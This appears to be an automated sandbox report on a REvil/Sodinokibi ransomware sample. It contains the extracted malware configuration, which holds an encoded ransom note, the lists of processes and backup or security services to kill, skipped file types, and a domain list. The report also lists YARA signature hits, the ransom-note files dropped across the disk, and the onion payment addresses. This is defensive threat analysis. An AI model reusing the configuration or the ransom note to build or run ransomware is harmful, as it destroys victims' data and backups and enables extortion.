"LQAtAC0APQA9AD0AIABXAGUAbABjAG8AbQBlAC4AIABBAGcAYQBpAG4ALgAgAD0APQA9AC0ALQAtAA0ACgANAAoAWwAtAF0AIABXAGgAYQB0AHMAIABIAGEAcABQAGUAbgA/ACAAWwAtAF0ADQAKAA0ACgBZAG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAsACAAYQBuAGQAIABjAHUAcgByAGUAbgB0AGwAeQAgAHUAbgBhAHYAYQBpAGwAYQBiAGwAZQAuACAAWQBvAHUAIABjAGEAbgAgAGMAaABlAGMAawAgAGkAdAA6ACAAYQBsAGwAIABmAGkAbABlAHMAIABvAG4AIAB5AG8AdQByACAAcwB5AHMAdABlAG0AIABoAGEAcwAgAGUAeAB0AGUAbgBzAGkAbwBuACAAewBFAFgAVAB9AC4ADQAKAEIAeQAgAHQAaABlACAAdwBhAHkALAAgAGUAdgBlAHIAeQB0AGgAaQBuAGcAIABpAHMAIABwAG8AcwBzAGkAYgBsAGUAIAB0AG8AIAByAGUAYwBvAHYAZQByACAAKAByAGUAcwB0AG8AcgBlACkALAAgAGIAdQB0ACAAeQBvAHUAIABuAGUAZQBkACAAdABvACAAZgBvAGwAbABvAHcAIABvAHUAcgAgAGkAbgBzAHQAcgB1AGMAdABpAG8AbgBzAC4AIABPAHQAaABlAHIAdwBpAHMAZQAsACAAeQBvAHUAIABjAGEAbgB0ACAAcgBlAHQAdQByAG4AIAB5AG8AdQByACAAZABhAHQAYQAgACgATgBFAFYARQBSACkALgANAAoADQAKAFsAKwBdACAAVwBoAGEAdAAgAGcAdQBhAHIAYQBuAHQAZQBlAHMAPwAgAFsAKwBdAA0ACgANAAoASQB0AHMAIABqAHUAcwB0ACAAYQAgAGIAdQBzAGkAbgBlAHMAcwAuACAAVwBlACAAYQBiAHMAbwBsAHUAdABlAGwAeQAgAGQAbwAgAG4AbwB0ACAAYwBhAHIAZQAgAGEAYgBvAHUAdAAgAHkAbwB1ACAAYQBuAGQAIAB5AG8AdQByACAAZABlAGEAbABzACwAIABlAHgAYwBlAHAAdAAgAGcAZQB0AHQAaQBuAGcAIABiAGUAbgBlAGYAaQB0AHMALgAgAEkAZgAgAHcAZQAgAGQAbwAgAG4AbwB0ACAAZABvACAAbwB1AHIAIAB3AG8AcgBrACAAYQBuAGQAIABsAGkAYQBiAGkAbABpAHQAaQBlAHMAIAAtACAAbgBvAGIAbwBkAHkAIAB3AGkAbABsACAAbgBvAHQAIABjAG8AbwBwAGUAcgBhAHQAZQAgAHcAaQB0AGgAIAB1AHMALgAgAEkAdABzACAAbgBvAHQAIABpAG4AIABvAHUAcgAgAGkAbgB0AGUAcgBlAHMAdABzAC4ADQAKAFQAbwAgAGMAaABlAGMAawAgAHQAaABlACAAYQBiAGkAbABpAHQAeQAgAG8AZgAgAHIAZQB0AHUAcgBuAGkAbgBnACAAZgBpAGwAZQBzACwAIABZAG8AdQAgAHMAaABvAHUAbABkACAAZwBvACAAdABvACAAbwB1AHIAIAB3AGUAYgBzAGkAdABlAC4AIABUAGgAZQByAGUAIAB5AG8AdQAgAGMAYQBuACAAZABlAGMAcgB5AHAAdAAgAG8AbgBlACAAZgBpAGwAZQAgAGYAbwByACAAZgByAGUAZQAuACAAVABoAGEAdAAgAGkAcwAgAG8AdQByACAAZwB1AGEAcgBhAG4AdABlAGUALgANAAoASQBmACAAeQBvAHUAIAB3AGkAbABsACAAbgBvAHQAIABjAG8AbwBwAGUAcgBhAHQAZQAgAHcAaQB0AGgAIABvAHUAcgAgAHMAZQByAHYAaQBjAGUAIAAtACAAZgBvAHIAIAB1AHMALAAgAGkAdABzACAAZABvAGUAcwAgAG4AbwB0ACAAbQBhAHQAdABlAHIALgAgAEIAdQB0ACAAeQBvAHUAIAB3AGkAbABsACAAbABvAHMAZQAgAHkAbwB1AHIAIAB0AGkAbQBlACAAYQBuAGQAIABkAGEAdABhACwAIABjAGEAdQBzAGUAIABqAHUAcwB0ACAAdwBlACAAaABhAHYAZQAgAHQAaABlACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5AC4AIABJAG4AIABwAHIAYQBjAHQAaQBjAGUAIAAtACAAdABpAG0AZQAgAGkAcwAgAG0AdQBjAGgAIABtAG8AcgBlACAAdgBhAGwAdQBhAGIAbABlACAAdABoAGEAbgAgAG0AbwBuAGUAeQAuAA0ACgANAAoAWwArAF0AIABIAG8AdwAgAHQAbwAgAGcAZQB0ACAAYQBjAGMAZQBzAHMAIABvAG4AIAB3AGUAYgBzAGkAdABlAD8AIABbACsAXQANAAoADQAKAFkAbwB1ACAAaABhAHYAZQAgAHQAdwBvACAAdwBhAHkAcwA6AA0ACgANAAoAMQApACAAWwBSAGUAYwBvAG0AbQBlAG4AZABlAGQAXQAgAFUAcwBpAG4AZwAgAGEAIABUAE8AUgAgAGIAcgBvAHcAcwBlAHIAIQANAAoAIAAgAGEAKQAgAEQAbwB3AG4AbABvAGEAZAAgAGEAbgBkACAAaQBuAHMAdABhAGwAbAAgAFQATwBSACAAYgByAG8AdwBzAGUAcgAgAGYAcgBvAG0AIAB0AGgAaQBzACAAcwBpAHQAZQA6ACAAaAB0AHQAcABzADoALwAvAHQAbwByAHAAcgBvAGoAZQBjAHQALgBvAHIAZwAvAA0ACgAgACAAYgApACAATwBwAGUAbgAgAG8AdQByACAAdwBlAGIAcwBpAHQAZQA6ACAAaAB0AHQAcAA6AC8ALwBhAHAAbABlAGIAegB1ADQANwB3AGcAYQB6AGEAcABkAHEAawBzADYAdgByAGMAdgA2AHoAYwBuAGoAcABwAGsAYgB4AGIAcgA2AHcAawBlAHQAZgA1ADYAbgBmADYAYQBxADIAbgBtAHkAbwB5AGQALgBvAG4AaQBvAG4ALwB7AFUASQBEAH0ADQAKAA0ACgAyACkAIABJAGYAIABUAE8AUgAgAGIAbABvAGMAawBlAGQAIABpAG4AIAB5AG8AdQByACAAYwBvAHUAbgB0AHIAeQAsACAAdAByAHkAIAB0AG8AIAB1AHMAZQAgAFYAUABOACEAIABCAHUAdAAgAHkAbwB1ACAAYwBhAG4AIAB1AHMAZQAgAG8AdQByACAAcwBlAGMAbwBuAGQAYQByAHkAIAB3AGUAYgBzAGkAdABlAC4AIABGAG8AcgAgAHQAaABpAHMAOgANAAoAIAAgAGEAKQAgAE8AcABlAG4AIAB5AG8AdQByACAAYQBuAHkAIABiAHIAbwB3AHMAZQByACAAKABDAGgAcgBvAG0AZQAsACAARgBpAHIAZQBmAG8AeAAsACAATwBwAGUAcgBhACwAIABJAEUALAAgAEUAZABnAGUAKQANAAoAIAAgAGIAKQAgAE8AcABlAG4AIABvAHUAcgAgAHMAZQBjAG8AbgBkAGEAcgB5ACAAdwBlAGIAcwBpAHQAZQA6ACAAaAB0AHQAcAA6AC8ALwBkAGUAYwBvAGQAZQByAC4AcgBlAC8AewBVAEkARAB9AA0ACgANAAoAVwBhAHIAbgBpAG4AZwA6ACAAcwBlAGMAbwBuAGQAYQByAHkAIAB3AGUAYgBzAGkAdABlACAAYwBhAG4AIABiAGUAIABiAGwAbwBjAGsAZQBkACwAIAB0AGgAYQB0AHMAIAB3AGgAeQAgAGYAaQByAHMAdAAgAHYAYQByAGkAYQBuAHQAIABtAHUAYwBoACAAYgBlAHQAdABlAHIAIABhAG4AZAAgAG0AbwByAGUAIABhAHYAYQBpAGwAYQBiAGwAZQAuAA0ACgANAAoAVwBoAGUAbgAgAHkAbwB1ACAAbwBwAGUAbgAgAG8AdQByACAAdwBlAGIAcwBpAHQAZQAsACAAcAB1AHQAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAZABhAHQAYQAgAGkAbgAgAHQAaABlACAAaQBuAHAAdQB0ACAAZgBvAHIAbQA6AA0ACgBLAGUAeQA6AA0ACgANAAoADQAKAHsASwBFAFkAfQANAAoADQAKAA0ACgAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ADQAKAA0ACgAhACEAIQAgAEQAQQBOAEcARQBSACAAIQAhACEADQAKAEQATwBOACcAVAAgAHQAcgB5ACAAdABvACAAYwBoAGEAbgBnAGUAIABmAGkAbABlAHMAIABiAHkAIAB5AG8AdQByAHMAZQBsAGYALAAgAEQATwBOACcAVAAgAHUAcwBlACAAYQBuAHkAIAB0AGgAaQByAGQAIABwAGEAcgB0AHkAIABzAG8AZgB0AHcAYQByAGUAIABmAG8AcgAgAHIAZQBzAHQAbwByAGkAbgBnACAAeQBvAHUAcgAgAGQAYQB0AGEAIABvAHIAIABhAG4AdABpAHYAaQByAHUAcwAgAHMAbwBsAHUAdABpAG8AbgBzACAALQAgAGkAdABzACAAbQBhAHkAIABlAG4AdABhAGkAbAAgAGQAYQBtAGEAZwBlACAAbwBmACAAdABoAGUAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABhAG4AZAAsACAAYQBzACAAcgBlAHMAdQBsAHQALAAgAFQAaABlACAATABvAHMAcwAgAGEAbABsACAAZABhAHQAYQAuAA0ACgAhACEAIQAgACEAIQAhACAAIQAhACEADQAKAE8ATgBFACAATQBPAFIARQAgAFQASQBNAEUAOgAgAEkAdABzACAAaQBuACAAeQBvAHUAcgAgAGkAbgB0AGUAcgBlAHMAdABzACAAdABvACAAZwBlAHQAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYgBhAGMAawAuACAARgByAG8AbQAgAG8AdQByACAAcwBpAGQAZQAsACAAdwBlACAAKAB0AGgAZQAgAGIAZQBzAHQAIABzAHAAZQBjAGkAYQBsAGkAcwB0AHMAKQAgAG0AYQBrAGUAIABlAHYAZQByAHkAdABoAGkAbgBnACAAZgBvAHIAIAByAGUAcwB0AG8AcgBpAG4AZwAsACAAYgB1AHQAIABwAGwAZQBhAHMAZQAgAHMAaABvAHUAbABkACAAbgBvAHQAIABpAG4AdABlAHIAZgBlAHIAZQAuAA0ACgAhACEAIQAgACEAIQAhACAAIQAhACEAAAA=", "et": 0, "wipe": true, "wfld": ["backup"], "rdmcnt": 0, "nname": "{EXT}-readme.txt", "pk": "9/AgyLvWEviWbvuayR2k0Q140e9LZJ5hwrmto/zCyFM=", "net": false, "exp": false, "arn": false}

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
gtV10WjhFA.exeMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
  • 0x61af:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
  • 0xb243:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
  • 0xb82f:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
  • 0xaa68:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
  • 0xb232:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmpMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
  • 0x51af:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
  • 0xa243:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
  • 0xa82f:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
  • 0x9a68:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
  • 0xa232:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F
00000001.00000003.360012971.0000000002B38000.00000004.00000040.sdmpJoeSecurity_SodinokibiYara detected Sodinokibi RansomwareJoe Security
    00000001.00000003.198968948.0000000002B38000.00000004.00000040.sdmpJoeSecurity_SodinokibiYara detected Sodinokibi RansomwareJoe Security
      00000001.00000003.199098273.0000000002B38000.00000004.00000040.sdmpJoeSecurity_SodinokibiYara detected Sodinokibi RansomwareJoe Security
        00000001.00000003.198889805.0000000002B38000.00000004.00000040.sdmpJoeSecurity_SodinokibiYara detected Sodinokibi RansomwareJoe Security
          Click to see the 7 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          1.2.gtV10WjhFA.exe.2350000.1.unpackMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
          • 0x61af:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
          • 0xb243:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
          • 0xb82f:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
          • 0xaa68:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
          • 0xb232:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F
          1.0.gtV10WjhFA.exe.2350000.0.unpackMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
          • 0x61af:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
          • 0xb243:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
          • 0xb82f:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
          • 0xaa68:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
          • 0xb232:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F

          Sigma Overview

          No Sigma rule has matched

          Signature Overview

          Click to jump to signature section

          Show All Signature Results

          AV Detection:

          barindex
          Antivirus / Scanner detection for submitted sampleShow sources
          Source: gtV10WjhFA.exeAvira: detected
          Found malware configurationShow sources
          Source: gtV10WjhFA.exe.5960.1.memstrMalware Configuration Extractor: Sodinokibi {"prc": ["encsvc", "powerpnt", "ocssd", "steam", "isqlplussvc", "outlook", "sql", "ocomm", "agntsvc", "mspub", "onenote", "winword", "thebat", "excel", "mydesktopqos", "ocautoupds", "thunderbird", "synctime", "infopath", "mydesktopservice", "firefox", "oracle", "sqbcoreservice", "dbeng50", "tbirdconfig", "msaccess", "visio", "dbsnmp", "wordpad", "xfssvccon"], "sub": "8254", "svc": ["veeam", "memtas", "sql", "backup", "vss", "sophos", "svc$", "mepocs"], "wht": {"ext": ["ps1", "ldf", "lock", "theme", "msi", "sys", "wpx", "cpl", "adv", "msc", "scr", "bat", "key", "ico", "dll", "hta", "deskthemepack", "nomedia", "msu", "rtp", "msp", "idx", "ani", "386", "diagcfg", "bin", "mod", "ics", "com", "hlp", "spl", "nls", "cab", "exe", "diagpkg", "icl", "ocx", "rom", "prf", "themepack", "msstyles", "lnk", "icns", "mpa", "drv", "cur", "diagcab", "cmd", "shs"], "fls": ["ntldr", "thumbs.db", "bootsect.bak", "autorun.inf", "ntuser.dat.log", "boot.ini", "iconcache.db", "bootfont.bin", "ntuser.dat", "ntuser.ini", "desktop.ini"], "fld": ["program files", "appdata", "mozilla", "$windows.~ws", "application data", "$windows.~bt", "google", "$recycle.bin", "windows.old", "programdata", "system volume information", "program files (x86)", "boot", "tor browser", "windows", "intel", "perflogs", "msocache"]}, "img": "QQBsAGwAIABvAGYAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAhAA0ACgANAAoARgBpAG4AZAAgAHsARQBYAFQAfQAtAHIAZQBhAGQAbQBlAC4AdAB4AHQAIABhAG4AZAAgAGYAbwBsAGwAbwB3ACAAaQBuAHMAdAB1AGMAdABpAG8AbgBzAAAA", "dmn": "boisehosting.net;fotoideaymedia.es;dubnew.com;stallbyggen.se;koken-voor-baby.nl;juneauopioidworkgroup.org;vancouver-print.ca;zewatchers.com;bouquet-de-roses.com;seevilla-dr-sturm.at;olejack.ru;i-trust.dk;wasmachtmeinfonds.at;appsformacpc.com;friendsandbrgrs.com;thenewrejuveme.com;xn--singlebrsen-vergleich-nec.com;sabel-bf.com;seminoc.com;ceres.org.au;cursoporcelanatoliquido.online;marietteaernoudts.nl;tastewilliamsburg.com;charlottepoudroux-photographie.fr;aselbermachen.com;klimt2012.info;accountancywijchen.nl;creamery201.com;rerekatu.com;makeurvoiceheard.com;vannesteconstruct.be;wellplast.se;andersongilmour.co.uk;bradynursery.com;aarvorg.com;facettenreich27.de;balticdermatology.lt;artige.com;highlinesouthasc.com;crowd-patch.co.uk;sofavietxinh.com;jorgobe.at;danskretursystem.dk;higadograsoweb.com;supportsumba.nl;ruralarcoiris.com;projetlyonturin.fr;kidbucketlist.com.au;harpershologram.wordpress.com;ohidesign.com;international-sound-awards.com;krlosdavid.com;durganews.com;leather-factory.co.jp;coding-machine.com;i-arslan.de;caribbeansunpoker.com;mir-na-iznanku.com;ki-lowroermond.nl;promesapuertorico.com;kissit.ca;dezatec.es;cite4me.org;grelot-home.com;musictreehouse.net;hkr-reise.de;id-vet.com;gasolspecialisten.se;vyhino-zhulebino-24.ru;karacaoglu.nl;bayoga.co.uk;solhaug.tk;jadwalbolanet.info;ncid.bc.ca;bricotienda.com;boldcitydowntown.com;homecomingstudio.com;sojamindbody.com;castillobalduz.es;asgestion.com;dushka.ua;hiddencityse
          Multi AV Scanner detection for submitted fileShow sources
          Source: gtV10WjhFA.exeVirustotal: Detection: 63%Perma Link
          Machine Learning detection for sampleShow sources
          Source: gtV10WjhFA.exeJoe Sandbox ML: detected
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02355B96 CryptAcquireContextW,CryptGenRandom,1_2_02355B96
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02356491 CryptStringToBinaryW,CryptStringToBinaryW,1_2_02356491
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_023564F2 CryptBinaryToStringW,CryptBinaryToStringW,1_2_023564F2
          Source: gtV10WjhFA.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeDirectory created: c:\program files\tmpJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeDirectory created: c:\program files\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: C:\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\program files\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\program files (x86)\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\recovery\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\program files (x86)\microsoft sql server\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\program files (x86)\microsoft sql server\110\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\desktop\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\documents\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\downloads\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\favorites\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\links\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\music\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\pictures\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\saved games\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\videos\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\3d objects\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\contacts\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\desktop\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\documents\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\downloads\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\favorites\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\links\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\music\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\onedrive\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\pictures\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\recent\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\saved games\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\searches\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\videos\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\accountpictures\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\desktop\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\documents\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\downloads\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\libraries\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\music\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\pictures\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\videos\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\program files (x86)\microsoft sql server\110\shared\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\desktop\bnagmgsplo\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\desktop\eowrvpqccs\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\desktop\gaobcviqij\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\desktop\palrgucveh\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\desktop\qncycdfijj\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\desktop\sqsjkebwdt\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\documents\bnagmgsplo\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\documents\duudtubzfw\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\documents\gaobcviqij\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\documents\qcfwyskmha\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\documents\sqsjkebwdt\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\documents\zggknsukop\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\favorites\links\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\pictures\camera roll\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: z:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: x:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: v:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: t:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: r:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: p:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: n:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: l:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: j:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: h:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: f:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: d:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: b:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: y:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: w:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: u:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: s:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: q:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: o:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: m:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: k:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: i:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: g:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: e:Jump to behavior
          Source: C:\Windows\SysWOW64\netsh.exeFile opened: c:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile opened: a:Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02358122 FindFirstFileExW,FindFirstFileW,FindNextFileW,FindClose,1_2_02358122

          Networking:

          barindex
          Found Tor onion addressShow sources
          Source: gtV10WjhFA.exe, 00000001.00000003.199052488.0000000002ABC000.00000004.00000040.sdmpString found in binary or memory: b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID}
          Source: gtV10WjhFA.exe, 00000001.00000003.360021925.0000000002AC4000.00000004.00000040.sdmpString found in binary or memory: b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D1138D947D02C3CE
          Source: i01pya-readme.txt50.1.drString found in binary or memory: b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D1138D947D02C3CE
          Source: gtV10WjhFA.exe, 00000001.00000003.199052488.0000000002ABC000.00000004.00000040.sdmpString found in binary or memory: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/
          Source: gtV10WjhFA.exe, 00000001.00000003.360021925.0000000002AC4000.00000004.00000040.sdmp, i01pya-readme.txt50.1.drString found in binary or memory: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D1138D947D02C3CE
          Source: gtV10WjhFA.exe, 00000001.00000003.199052488.0000000002ABC000.00000004.00000040.sdmpString found in binary or memory: http://decoder.re/
          Source: gtV10WjhFA.exe, 00000001.00000003.360021925.0000000002AC4000.00000004.00000040.sdmp, i01pya-readme.txt50.1.drString found in binary or memory: http://decoder.re/D1138D947D02C3CE
          Source: gtV10WjhFA.exe, 00000001.00000003.199052488.0000000002ABC000.00000004.00000040.sdmp, i01pya-readme.txt50.1.drString found in binary or memory: https://torproject.org/

          Spam, unwanted Advertisements and Ransom Demands:

          barindex
          Found ransom note / readmeShow sources
